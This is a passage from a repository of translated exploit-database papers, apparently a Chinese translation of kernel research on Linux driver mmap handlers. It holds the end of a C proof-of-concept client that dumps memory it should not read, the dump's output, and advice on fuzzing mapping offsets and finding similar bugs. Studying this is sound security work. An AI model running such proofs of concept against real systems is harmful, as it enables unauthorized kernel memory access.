PROT_READ, MAP_SHARED, fd, 0x0); 1165 | if (addr == MAP_FAILED) 1166 | { 1167 | perror("Failed to mmap: "); 1168 | close(fd); 1169 | return -1; 1170 | } 1171 | 1172 | printf("[+] mmap OK addr: %lx\n", addr); 1173 | addr = (unsigned int *)mremap(addr, size, 0x10000, 0); 1174 | if (addr == MAP_FAILED) 1175 | { 1176 | perror("Failed to mremap: "); 1177 | close(fd); 1178 | return -1; 1179 | } 1180 | printf("[+] mremap OK addr: %lx\n", addr); 1181 | 1182 | hexDump(NULL, addr, 0x8000); 1183 | 1184 | int stop = getchar(); 1185 | return 0; 1186 | } 1187 | ``` 1188 | 1189 | 我们的exp输出如下。有一次看到了转储的内存内容中包含了本不该独到的内容: 1190 | 1191 | ```sh 1192 | $ ./mwr_client 1193 | [+] Open OK fd: 3 1194 | [+] mmap OK addr: 42424000 1195 | [+] mremap OK addr: 42424000 1196 | 0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 1197 | 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 1198 | ... 1199 | 4c00 25 b0 4d c3 00 00 00 00 25 c0 4d c3 00 00 00 00 %.M.....%.M..... 1200 | 4c10 25 d0 4d c3 00 00 00 00 25 e0 4d c3 00 00 00 00 %.M.....%.M..... 1201 | 4c20 25 f0 4d c3 00 00 00 00 25 00 4e c3 00 00 00 00 %.M.....%.N..... 1202 | 4c30 25 10 4e c3 00 00 00 00 00 00 00 00 00 00 00 00 %.N............. 1203 | 4c40 25 30 4e c3 00 00 00 00 25 40 4e c3 00 00 00 00 %0N.....%@N..... 1204 | ... 1205 | ``` 1206 | 1207 | ## 5. 奇技淫巧 1208 | 1209 | ### 5.1 为了胜利而挖掘 1210 | 1211 | 通常当分析mmap handler时,我们可以找到一大堆位掩码、位移以及算术操作。这些操作可以使得错过具体的魔数更为容易,这允许一个攻击者绕过输入安检并获取到预料之外的具体内存区域访问权限。有两个值需要我们去挖掘;映射的offset和size。仅有两个值需要挖掘意味着我们可以挖掘该驱动相对快一点,允许我们尝试一个范围的数,确保我们彻底的测试所有可能的边缘情况。 1212 | 1213 | ### 5.2 相同议题的不同函数 1214 | 1215 | 本文中我们描述了使用`remap_pfn_range`函数以及它的fault handler来创建内存映射。然而,这并不是唯一的可以被本方式利用的函数,有一大堆其他的函数在滥用的情况下也会导致内存区域的任意修改。你无法仅通过一个单一函数的使用而保证某个驱动是安全的。其他潜在的有意思的函数可能是: 1216 | 1217 | - `vm_insert_page` 1218 | - `vm_insert_pfn` 1219 | - `vm_insert_pfn_prot` 1220 | - `vm_iomap_memory` 1221 | - `io_remap_pfn_range` 1222 | - `remap_vmalloc_range_partial` 1223 | - `remap_vmalloc_range` 1224 | 1225 | 不同内核版本中,函数列表不完全一致。 1226 | 1227 | ### 5.3 如何去搜索这一类漏洞? 1228 | 1229 | 本文中我们描述了设备驱动在实现mmap handler时的一种漏洞。然而,几乎任何的子系统都实现了一个自定义的mmap handler。proc, sysfs, debugfs, 自定义文件系统, sockets以及任何提供了文件描述符的子系统,它们都可能实现了一个有漏洞的mmap handler。 1230 | 1231 | 此外,`remap_pfn_range`可能被任何系统调用所调用,不只是`mmap`。你也可以在ioctl的handlers中找到该函数。 -------------------------------------------------------------------------------- /files_papers.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/files_papers.xlsx --------------------------------------------------------------------------------